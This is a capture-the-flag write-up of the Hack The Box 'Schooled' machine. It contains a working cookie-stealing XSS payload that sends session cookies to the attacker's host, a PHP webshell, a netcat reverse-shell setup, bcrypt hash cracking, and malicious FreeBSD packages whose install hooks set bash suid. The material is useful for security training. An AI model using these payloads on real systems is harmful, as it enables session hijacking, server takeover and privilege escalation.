Hack The Box - Schooled

info_card

Schooled is a medium rated box on hackthebox created by TheCyberGeek. It involves some amount of enumeration to discover a vhost, XSS to get to a privileged user and CVE in moodle to get a foothold on the machine. For the root part we will find credentials in a database which we crack with hashcat. Finally we will create our own malicious FreeBSD package to escalate to the root user.

User

Nmap

As usual we start our enumeration off with a nmap scan for a first recon on the machine. The scan shows ports 22, 80 and 33060 open against which we run an additional script and version detection scan.

All ports

1
2
3
4
5
6
7
8
9
10
11
$ sudo nmap -p- -T4 10.129.186.182
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-14 09:55 GMT
Nmap scan report for 10.129.186.182
Host is up (0.026s latency).
Not shown: 65532 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
33060/tcp open  mysqlx

Nmap done: 1 IP address (1 host up) scanned in 385.60 seconds

Script and version

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
$ sudo nmap -sC -sV -p 22,80,33060 10.129.186.182
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-14 10:03 GMT
Nmap scan report for 10.129.186.182
Host is up (0.027s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.9 (FreeBSD 20200214; protocol 2.0)
| ssh-hostkey:
|   2048 1d:69:83:78:fc:91:f8:19:c8:75:a7:1e:76:45:05:dc (RSA)
|   256 e9:b2:d2:23:9d:cf:0e:63:e0:6d:b9:b1:a6:86:93:38 (ECDSA)
|_  256 7f:51:88:f7:3c:dd:77:5e:ba:25:4d:4c:09:25:ea:1f (ED25519)
80/tcp    open  http    Apache httpd 2.4.46 ((FreeBSD) PHP/7.4.15)
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.46 (FreeBSD) PHP/7.4.15
|_http-title: Schooled - A new kind of educational institute
33060/tcp open  mysqlx?
| fingerprint-strings:
|   DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp:
|     Invalid message"
|     HY000
|   LDAPBindReq:
|     *Parse error unserializing protobuf message"
|     HY000
|   oracle-tns:
|     Invalid message-frame."
|_    HY000
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
...
[snip]
...
Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.81 seconds

schooled.htb

Going to port 80 we can see a website for a school which seems to be completly static so it is not of much use to us. However there is a possible vhost name at the botton of the page.

schooled_home

schooled_vhost

moodle.schooled.htb

Teacher

Since there doesn’t seem to be much of an attack surface on the initial page and we discovered a vhost, we fuzz with ffuf for additional vhosts in the next step. This gets us the page moodle.schooled.htb.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$ ffuf -w /opt/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -u http://schooled.htb -H 'Host: FUZZ.schooled.htb' -fs 20750

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.3.1 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://schooled.htb
 :: Wordlist         : FUZZ: /opt/SecLists/Discovery/DNS/subdomains-top1million-110000.txt
 :: Header           : Host: FUZZ.schooled.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
 :: Filter           : Response size: 20750
________________________________________________

moodle                  [Status: 200, Size: 84, Words: 5, Lines: 2]
:: Progress: [114441/114441] :: Job [1/1] :: 489 req/sec :: Duration: [0:03:45] :: Errors: 0 ::

Adding it to our /etc/hosts file and going to the page there is a moodle installation running. Moodle is a popular school software.

moodle_home

Going over to the login page we are can see that we are able to create a new account.

moodle_login

Trying to signup we get an error message stating we need a student.schooled.htb email address.

signup_fail

Exchanging our email domain from a.com to student.schooled.htb we are able to successfully create an account.

signup_success

moodle_logged_in

Going over to Site home and the mathematics course, we see that we can self enroll into it and that no enrolment key is required.

moodle_self_enroll

After enrolling we go over to announcements and the Reminder for joining students contains some interesting information. New students are required to set their MoodleNet profile and the teacher seems to be checking this. This means if we find a XSS vulnerability on the profile page we might be able to steal the teachers cookie and impersonate him.

announcement

Looking for vulnerabilties in the MoodleNet field in the user profile we find a possible stored XSS vulnerability in CVE-2020-25627, which seems to be just what we need to advance right now. Also the HttpOnly flag for the session cookie is not set which promises success.

To exploit it we put this payload in the MoodleNet profile, editing the profile of the user we created.

moodle_xss

We choose a payload that includes a javascript file hosted by use to have more room to work with.

1
<script src="http://10.10.14.65/a.js"></script>

After that we standup a python webserver on port 80, hosting a script with the following content and update the profile containing our payload.

a.js

1
2
3
4
5
var cookie = document.cookie;

xhr = new XMLHttpRequest();
xhr.open('GET', 'http://10.10.14.65/' + cookie, false);
xhr.send();
1
2
1
2
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

The teacher looks every two minutes at the users profiles, so we get a hit on our webserver back relatively quick with the teachers session id.

1
2
3
4
5
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.186.182 - - [14/Aug/2021 10:46:20] "GET /a.js HTTP/1.1" 200 -
10.129.186.182 - - [14/Aug/2021 10:46:20] code 404, message File not found
10.129.186.182 - - [14/Aug/2021 10:46:20] "GET /MoodleSession=2h002baljt8tk8eb9dl201ar58 HTTP/1.1" 404 -

Switching his session id with ours in the browser we are now logged in as Manuel Phillips and have some additional rights.

logged_in_teacher

Manager

Going over to a course we can now click on the Moodle Docs for this page link, which takes us to the corresponding Documentation of the running moodle version.

moodle_docs

Having the version identified as 3.9 we can now look for additional CVE’s for this Version and find one in CVE-2020-14321. Following this PoC video on youtube and this github repository we are able to gain RCE on the server. The first step for this exploit is to find a user with the manager role assigned, which we then can in impersonate in a following step.

This user turns out to be Lianne. We navigate to the Participants menu in the mathematics course, click on enrol users and select Lianne.

enroll_lianne

Then we intercept the request in burp and send it to repeater. Following the video we turn off intercepting and switch the userlist parameter in the request to the profile id of Manuel which is 24, we also change the roletoassign parameter to 1 and send the request in repeater. We can also assign additional roles to the user by changing the roletoassign parameter to different values.

assign_roles

Only the manager role is important but we can proof to add about any role to the user repeating the process with different numbers.

roles_assigned

Refreshing the participants page we see a lot of additional roles assigned to the teacher. Clicking on Lianne Carter we can log in as her due to our manager role.

login_lianne

After logging in we see she has site administration privileges.

lianne_admin

Following the PoC we browse to Site administration => Users => Define roles => Manager => Edit to give ourselves the most permissions possible.

edit_manager

We set intercept in burp and click on save changes. In the request we change the permission for the ones listed in README.md of the earlier mentioned github repository. This gives us most possible access on the moodle installation.

moodle_max_perm

RCE

Following the PoC we go to Site administration => Plugins => Install Plugins => Choose a file... and select the rce.zip we downloaded from the repository.

plugin_upload

Unpacking the zip locally it contains a README.md with the path for the uploaded webshell.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ find rce/
rce/
rce/lang
rce/lang/en
rce/lang/en/block_rce.php
rce/version.php
$ cat README.md
# Moodle_RCE
### From admin, goto:
*domain/admin/tool/installaddon/index.php*

Upload rce.zip
### Trigger RCE
*domain/blocks/rce/lang/en/block_rce.php?cmd=id*
#### Video PoC
$ cat rce/lang/en/block_rce.php
<?php system($_GET['cmd']); ?>

The README.md contains the path to the upload functionality and also the location the webshell get’s placed after unzipping and installing it.

After clicking on install and continue the plugin get’s successfully installed. Browsing to it and testing it we have achieved RCE on the server.

rce_poc

We send the request to burp repeater set up a ncat listener and send ourselves a reverse shell.

1
2
3
4
$ nc -lnvp 7575
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::7575
Ncat: Listening on 0.0.0.0:7575

burp_revshell

We get a connection back instantly. Python is not in the path to upgrade our shell but we can identify its location with a quick find command.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$ nc -lnvp 7575
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::7575
Ncat: Listening on 0.0.0.0:7575
Ncat: Connection from 10.129.186.182.
Ncat: Connection from 10.129.186.182:59672.
bash: cannot set terminal process group (2088): Can't assign requested address
bash: no job control in this shell
[www@Schooled /usr/local/www/apache24/data/moodle/blocks/rce/lang/en]$ python3 -c 'import pty;pty.spawn("/bin/bash")'
bash: python3: command not found
[www@Schooled /usr/local/www/apache24/data/moodle/blocks/rce/lang/en]$ find / -name python3 2>/dev/null
/usr/local/bin/python3
/usr/local/share/bash-completion/completions/python3
[www@Schooled /usr/local/www/apache24/data/moodle/blocks/rce/lang/en]$ /usr/local/bin/python3 -c 'import pty;pty.spawn("/bin/bash")'
[www@Schooled /usr/local/www/apache24/data/moodle/blocks/rce/lang/en]$ export TERM=xterm
</data/moodle/blocks/rce/lang/en]$ export TERM=xterm
[www@Schooled /usr/local/www/apache24/data/moodle/blocks/rce/lang/en]$ ^Z
[1]+  Stopped                 nc -lnvp 7575
$ stty raw -echo;fg
nc -lnvp 7575

55 cols 235d /usr/local/www/apache24/data/moodle/blocks/rce/lang/en]$ stty rows

Database

After doing some enumeration on the machine we are able to find database credentials in /usr/local/www/apache24/data/moodle/config.php. Using these credentials we are able to retrieve the password hashes from the moodle database.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
[www@Schooled /usr/local/www/apache24/data/moodle/blocks/rce/lang/en]$ /usr/local/bin/mysql -u moodle -D moodle  -p
Enter password:
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 657
Server version: 8.0.23 Source distribution

Copyright (c) 2000, 2021, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

moodle@localhost [moodle]>  select username,password from mdl_user;
+-------------------+--------------------------------------------------------------+
| username          | password                                                     |
+-------------------+--------------------------------------------------------------+
| guest             | $2y$10$u8DkSWjhZnQhBk1a0g1ug.x79uhkx/sa7euU8TI4FX4TCaXK6uQk2 |
| admin             | $2y$10$3D/gznFHdpV6PXt1cLPhX.ViTgs87DCE5KqphQhGYR5GFbcl4qTiW |
| bell_oliver89     | $2y$10$N0feGGafBvl.g6LNBKXPVOpkvs8y/axSPyXb46HiFP3C9c42dhvgK |
| orchid_sheila89   | $2y$10$YMsy0e4x4vKq7HxMsDk.OehnmAcc8tFa0lzj5b1Zc8IhqZx03aryC |
| chard_ellzabeth89 | $2y$10$D0Hu9XehYbTxNsf/uZrxXeRp/6pmT1/6A.Q2CZhbR26lCPtf68wUC |
| morris_jake89     | $2y$10$UieCKjut2IMiglWqRCkSzerF.8AnR8NtOLFmDUcQa90lair7LndRy |
| heel_james89      | $2y$10$sjk.jJKsfnLG4r5rYytMge4sJWj4ZY8xeWRIrepPJ8oWlynRc9Eim |
| nash_michael89    | $2y$10$yShrS/zCD1Uoy0JMZPCDB.saWGsPUrPyQZ4eAS50jGZUp8zsqF8tu |
| singh_rakesh89    | $2y$10$Yd52KrjMGJwPUeDQRU7wNu6xjTMobTWq3eEzMWeA2KsfAPAcHSUPu |
| taint_marcus89    | $2y$10$kFO4L15Elng2Z2R4cCkbdOHyh5rKwnG4csQ0gWUeu2bJGt4Mxswoa |
| walls_shaun89     | $2y$10$EDXwQZ9Dp6UNHjAF.ZXY2uKV5NBjNBiLx/WnwHiQ87Dk90yZHf3ga |
| smith_john89      | $2y$10$YRdwHxfstP0on0Yzd2jkNe/YE/9PDv/YC2aVtC97mz5RZnqsZ/5Em |
| white_jack89      | $2y$10$PRy8LErZpSKT7YuSxlWntOWK/5LmSEPYLafDd13Nv36MxlT5yOZqK |
| travis_carl89     | $2y$10$VO/MiMUhZGoZmWiY7jQxz.Gu8xeThHXCczYB0nYsZr7J5PZ95gj9S |
| mac_amy89         | $2y$10$PgOU/KKquLGxowyzPCUsi.QRTUIrPETU7q1DEDv2Dt.xAjPlTGK3i |
| james_boris89     | $2y$10$N4hGccQNNM9oWJOm2uy1LuN50EtVcba/1MgsQ9P/hcwErzAYUtzWq |
| pierce_allan      | $2y$10$ia9fKz9.arKUUBbaGo2FM.b7n/QU1WDAFRafgD6j7uXtzQxLyR3Zy |
| henry_william89   | $2y$10$qj67d57dL/XzjCgE0qD1i.ION66fK0TgwCFou9yT6jbR7pFRXHmIu |
| harper_zoe89      | $2y$10$mnYTPvYjDwQtQuZ9etlFmeiuIqTiYxVYkmruFIh4rWFkC3V1Y0zPy |
| wright_travis89   | $2y$10$XFE/IKSMPg21lenhEfUoVemf4OrtLEL6w2kLIJdYceOOivRB7wnpm |
| allen_matthew89   | $2y$10$kFYnbkwG.vqrorLlAz6hT.p0RqvBwZK2kiHT9v3SHGa8XTCKbwTZq |
| sanders_wallis89  | $2y$10$br9VzK6V17zJttyB8jK9Tub/1l2h7mgX1E3qcUbLL.GY.JtIBDG5u |
| higgins_jane      | $2y$10$n9SrsMwmiU.egHN60RleAOauTK2XShvjsCS0tAR6m54hR1Bba6ni2 |
| phillips_manuel   | $2y$10$ZwxEs65Q0gO8rN8zpVGU2eYDvAoVmWYYEhHBPovIHr8HZGBvEYEYG |
| carter_lianne     | $2y$10$jw.KgN/SIpG2MAKvW8qdiub67JD7STqIER1VeRvAH4fs/DPF57JZe |
| parker_dan89      | $2y$10$MYvrCS5ykPXX0pjVuCGZOOPxgj.fiQAZXyufW5itreQEc2IB2.OSi |
| parker_tim89      | $2y$10$YCYp8F91YdvY2QCg3Cl5r.jzYxMwkwEm/QBGYIs.apyeCeRD7OD6S |
| sm1l3z            | $2y$10$UZi9q.8k4va9A2JzhQIKgecCBC54EDyIlEKygtaspINhP91mcWPY. |
+-------------------+--------------------------------------------------------------+
28 rows in set (0.00 sec)

moodle@localhost [moodle]>

The admin hash is of particular interest to us so we try to crack it with hashcat and are successful at it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
$ hashcat -m 3200 -O hash /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
hashcat (v6.1.1) starting...
...
[snip]
...
Dictionary cache hit:
* Filename..: /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
* Passwords.: 14344384
* Bytes.....: 139921497
* Keyspace..: 14344384

$2y$10$3D/gznFHdpV6PXt1cLPhX.ViTgs87DCE5KqphQhGYR5GFbcl4qTiW:!QAZ2wsx
                                                 
Session..........: hashcat
Status...........: Cracked
Hash.Name........: bcrypt $2*$, Blowfish (Unix)
Hash.Target......: $2y$10$3D/gznFHdpV6PXt1cLPhX.ViTgs87DCE5KqphQhGYR5G...l4qTiW
Time.Started.....: Sun Apr  4 00:56:00 2021 (5 mins, 15 secs)
Time.Estimated...: Sun Apr  4 01:01:15 2021 (0 secs)
Guess.Base.......: File (/opt/SecLists/Passwords/Leaked-Databases/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:       44 H/s (11.16ms) @ Accel:2 Loops:128 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 13892/14344384 (0.10%)
Rejected.........: 0/13892 (0.00%)
Restore.Point....: 13888/14344384 (0.10%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:896-1024
Candidates.#1....: 010890 -> !QAZ2wsx

Started: Sun Apr  4 00:55:27 2021
Stopped: Sun Apr  4 01:01:17 2021

Since there are only 2 users steve and jamie on the machine we can try the password with ssh for both of them, are able to login as jamie with the password !QAZ2wsx and grab the user flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
$ ssh jamie@schooled.htb
The authenticity of host 'schooled.htb (10.129.89.235)' can't be established.
ECDSA key fingerprint is SHA256:BiWc+ARPWyYTueBR7SHXcDYRuGsJ60y1fPuKakCZYDc.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'schooled.htb,10.129.89.235' (ECDSA) to the list of known hosts.
Password for jamie@Schooled:
Last login: Tue Mar 16 14:44:53 2021 from 10.10.14.5
FreeBSD 13.0-BETA3 (GENERIC) #0 releng/13.0-n244525-150b4388d3b: Fri Feb 19 04:04:34 UTC 2021

Welcome to FreeBSD!

Release Notes, Errata: https://www.FreeBSD.org/releases/
Security Advisories:   https://www.FreeBSD.org/security/
FreeBSD Handbook:      https://www.FreeBSD.org/handbook/
FreeBSD FAQ:           https://www.FreeBSD.org/faq/
Questions List: https://lists.FreeBSD.org/mailman/listinfo/freebsd-questions/
FreeBSD Forums:        https://forums.FreeBSD.org/

Documents installed with the system are in the /usr/local/share/doc/freebsd/
directory, or can be installed later with:  pkg install en-freebsd-doc
For other languages, replace "en" with a language code like de or fr.

Show the version of FreeBSD installed:  freebsd-version ; uname -a
Please include that output and any error messages when posting questions.
Introduction to manual pages:  man man
FreeBSD directory layout:      man hier

To change this login announcement, see motd(5).
Need to see the calendar for this month? Simply type "cal".  To see the
whole year, type "cal -y".
                -- Dru <genesis@istar.ca>
jamie@Schooled:~ $ wc -c user.txt
      33 user.txt
jamie@Schooled:~ $

Root

Manual package

Running sudo -l as jamie we see he can update the pkg repository and als install random packages.

1
2
3
4
jamie@Schooled:~ $ sudo -l
User jamie may run the following commands on Schooled:
   (ALL) NOPASSWD: /usr/sbin/pkg update
   (ALL) NOPASSWD: /usr/sbin/pkg install *

Looking at the config file for pkg we can see it points to the host devops.htb. The way this was intended to be solved was to use both the update and install command. That is why we are in the wheel group which can edit the /etc/hosts file. We will first solve it this way and then cover a quicker simpler solution.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
jamie@Schooled:~ $ cat /etc/pkg/FreeBSD.conf
# $FreeBSD$
#
# To disable this repository, instead of modifying or removing this file,
# create a /usr/local/etc/pkg/repos/FreeBSD.conf file:
#
#   mkdir -p /usr/local/etc/pkg/repos
#   echo "FreeBSD: { enabled: no }" > /usr/local/etc/pkg/repos/FreeBSD.conf
#

FreeBSD: {
  url: "pkg+http://devops.htb:80/packages",
  mirror_type: "srv",
  signature_type: "none",
  fingerprints: "/usr/share/keys/pkg",
  enabled: yes
}
1
2
jamie@Schooled:~ $ ls -la /etc/hosts
-rw-rw-r--  1 root  wheel  1098 Mar 17 15:47 /etc/hosts

/etc/hosts being writable means we can point the repository update to our machine hosting a repo with a package containing a malicious postinstall script. In this script we can run any command we want as root. I chose to give bash suid. For the package creation these two blogposts are helpful. Following them we can create our own package and make a repository out of it, which we then copy over to our machine via scp. Since the necessary tools to create the repository are already on the machine we will do it there. There is also a cleanup script running on the machine so we will work out of a folder it does not clean. First we follow the blogpost to write a package creation script with a pre and postinstall hook giving bash the suid bit and create a copy of /etc/hosts where devops.htb get resolved to our ip.

create_packet.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/bin/sh

STAGEDIR=/tmp/stage
rm -rf $STAGEDIR
mkdir -p $STAGEDIR

cat >> $STAGEDIR/+PRE_DEINSTALL << "EOF"
# careful here, this may clobber your system
echo "Resetting root shell"
chmod +s /bin/bash
EOF

cat >> $STAGEDIR/+POST_INSTALL << "EOF"
# careful here, this may clobber your system
echo "Registering root shell"
chmod +s /bin/bash
EOF

cat >> $STAGEDIR/+MANIFEST << "EOF"
name: mypackage
version: "2.0_5"
origin: sysutils/mypackage
comment: "automates stuff"
desc: "automates tasks which can also be undone later"
maintainer: john@doe.it
www: https://doe.it
prefix: /
EOF

echo "deps: {" >> $STAGEDIR/+MANIFEST
pkg query "  %n: { version: \"%v\", origin: %o }" portlint >> $STAGEDIR/+MANIFEST
pkg query "  %n: { version: \"%v\", origin: %o }" poudriere >> $STAGEDIR/+MANIFEST
echo "}" >> $STAGEDIR/+MANIFEST

mkdir -p $STAGEDIR/usr/local/etc
echo "# hello world" > $STAGEDIR/usr/local/etc/my.conf
echo "/usr/local/etc/my.conf" > $STAGEDIR/plist

pkg create -m $STAGEDIR/ -r $STAGEDIR/ -p $STAGEDIR/plist -o .

/home/jamie/hosts

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
jamie@Schooled:~ $ cat hosts
# $FreeBSD$
#
# Host Database
#
# This file should contain the addresses and aliases for local hosts that
# share this file.  Replace 'my.domain' below with the domainname of your
# machine.
#
# In the presence of the domain name service or NIS, this file may
# not be consulted at all; see /etc/nsswitch.conf for the resolution order.
#
#
::1                     localhost localhost.my.domain
127.0.0.1               localhost localhost.my.domain Schooled schooled.htb moodle.schooled.htb
10.10.14.65             devops.htb
#
# Imaginary network.
#10.0.0.2               myname.my.domain myname
#10.0.0.3               myfriend.my.domain myfriend
#
# According to RFC 1918, you can use the following IP networks for
# private nets which will never be connected to the Internet:
#
#       10.0.0.0        -   10.255.255.255
#       172.16.0.0      -   172.31.255.255
#       192.168.0.0     -   192.168.255.255
#
# In case you want to be able to connect to the Internet, you need
# real official assigned numbers.  Do not try to invent your own network
# numbers but instead get one from your network provider (if any) or
# from your regional registry (ARIN, APNIC, LACNIC, RIPE NCC, or AfriNIC.)
#
jamie@Schooled:~ $

In a next step we create the necessary files and use pkg to package them up to a repository.

1
2
3
4
5
jamie@Schooled:/tmp $ bash /home/jamie/create_packet.sh && mkdir packages
jamie@Schooled:/tmp $ mv mypackage-2.0_5.txz packages/
jamie@Schooled:/tmp $ pkg repo /tmp/packages
Creating repository in /tmp/packages: 100%
Packing files for repository: 100%

We move the repository back to our machine with scp and host it with a python webserver.

1
2
3
4
5
6
$ scp -r jamie@schooled.htb:/tmp/packages .
Password for jamie@Schooled:
packagesite.txz 100%  472     1.6KB/s   00:00
mypackage-2.0_5.txz 100%  632    18.6KB/s   00:00
meta.txz 100%  240     6.6KB/s   00:00
meta.conf 100%  163     4.5KB/s   00:00
1
2
1
2
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Now we can install the package after copying our modified hosts file over the real one.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
jamie@Schooled:/tmp $ cp /home/jamie/hosts /etc/hosts &&  sudo pkg update && sudo pkg install mypackage
Updating FreeBSD repository catalogue...
Fetching meta.conf: 100%    163 B   0.2kB/s    00:01
Fetching packagesite.txz: 100%    472 B   0.5kB/s    00:01
Processing entries: 100%
FreeBSD repository update completed. 1 packages processed.
All repositories are up to date.
Updating FreeBSD repository catalogue...
FreeBSD repository is up to date.
All repositories are up to date.
The following 1 package(s) will be affected (of 0 checked):
Installed packages to be UPGRADED:
        mypackage: 1.1_5 -> 2.0_5

Number of packages to be upgraded: 1

632 B to be downloaded.

Proceed with this action? [y/N]: y
[1/1] Fetching mypackage-2.0_5.txz: 100%    632 B   0.6kB/s    00:01
Checking integrity... done (0 conflicting)
[1/1] Upgrading mypackage from 1.1_5 to 2.0_5...
[1/1] Extracting mypackage-2.0_5: 100%
Resetting root shell
Registering root shell

Upon updating and installing it we get hits for the files on our webserver.

1
2
3
4
5
10.129.186.182 - - [04/Apr/2021 16:28:51] "GET /packages/meta.conf HTTP/1.1" 200 -
10.129.186.182 - - [04/Apr/2021 16:28:51] "GET /packages/packagesite.txz HTTP/1.1" 200 -
10.129.186.182 - - [04/Apr/2021 16:28:53] "GET /packages/meta.conf HTTP/1.1" 304 -
10.129.186.182 - - [04/Apr/2021 16:28:53] "GET /packages/packagesite.txz HTTP/1.1" 304 -
10.129.186.182 - - [04/Apr/2021 16:28:55] "GET /packages/mypackage-2.0_5.txz HTTP/1.1" 200 -

The code got executed and we can use the suid bash to escalate to the root user.

1
2
3
4
jamie@Schooled:/tmp $ bash -p
[jamie@Schooled /tmp]# id
uid=1001(jamie) gid=1001(jamie) euid=0(root) egid=0(wheel) groups=0(wheel)
[jamie@Schooled /tmp]#

FPM package

There is also another method involving pkg and fpm which is much quicker than the intended one. There was no entry for pkg in gtfobins at the time for release, but it got added later by a HTB user after doing the box.

First we have to create the package with fpm using the following steps.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ TF=$(mktemp -d)
$ echo 'chmod +s /bin/bash' > $TF/x.sh
$ fpm -n x -s dir -t freebsd -a all --before-install $TF/x.sh $TF
DEPRECATION NOTICE: XZ::StreamWriter#close will automatically close the wrapped IO in the future. Use #finish to prevent that.
/var/lib/gems/2.7.0/gems/ruby-xz-0.2.3/lib/xz/stream_writer.rb:185:in `initialize'
        /var/lib/gems/2.7.0/gems/fpm-1.12.0/lib/fpm/package/freebsd.rb:85:in `new'
        /var/lib/gems/2.7.0/gems/fpm-1.12.0/lib/fpm/package/freebsd.rb:85:in `block in output'
        /var/lib/gems/2.7.0/gems/fpm-1.12.0/lib/fpm/package/freebsd.rb:84:in `open'
        /var/lib/gems/2.7.0/gems/fpm-1.12.0/lib/fpm/package/freebsd.rb:84:in `output'
        /var/lib/gems/2.7.0/gems/fpm-1.12.0/lib/fpm/command.rb:487:in `execute'
        /var/lib/gems/2.7.0/gems/clamp-1.0.1/lib/clamp/command.rb:68:in `run'
        /var/lib/gems/2.7.0/gems/fpm-1.12.0/lib/fpm/command.rb:574:in `run'
        /var/lib/gems/2.7.0/gems/clamp-1.0.1/lib/clamp/command.rb:133:in `run'
        /var/lib/gems/2.7.0/gems/fpm-1.12.0/bin/fpm:7:in `<top (required)>'
        /usr/local/bin/fpm:23:in `load'
        /usr/local/bin/fpm:23:in `<main>'
Created package {:path=>"x-1.0.txz"}

Now we can transfer the created package over with curl, install it with the --no-repo-update flag, drop into a root shell and grab the flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
jamie@Schooled:~ $ sudo pkg install -y --no-repo-update ./x-1.0.txz
pkg: Repository FreeBSD has a wrong packagesite, need to re-create database
pkg: Repository FreeBSD cannot be opened. 'pkg update' required
Checking integrity... done (0 conflicting)
The following 1 package(s) will be affected (of 0 checked):

New packages to be INSTALLED:
        x: 1.0

Number of packages to be installed: 1
[1/1] Installing x-1.0...
Extracting x-1.0: 100%
jamie@Schooled:~ $ bash -p
[jamie@Schooled ~]# id
uid=1001(jamie) gid=1001(jamie) euid=0(root) egid=0(wheel) groups=0(wheel)
[jamie@Schooled ~]# wc -c /root/root.txt
      33 /root/root.txt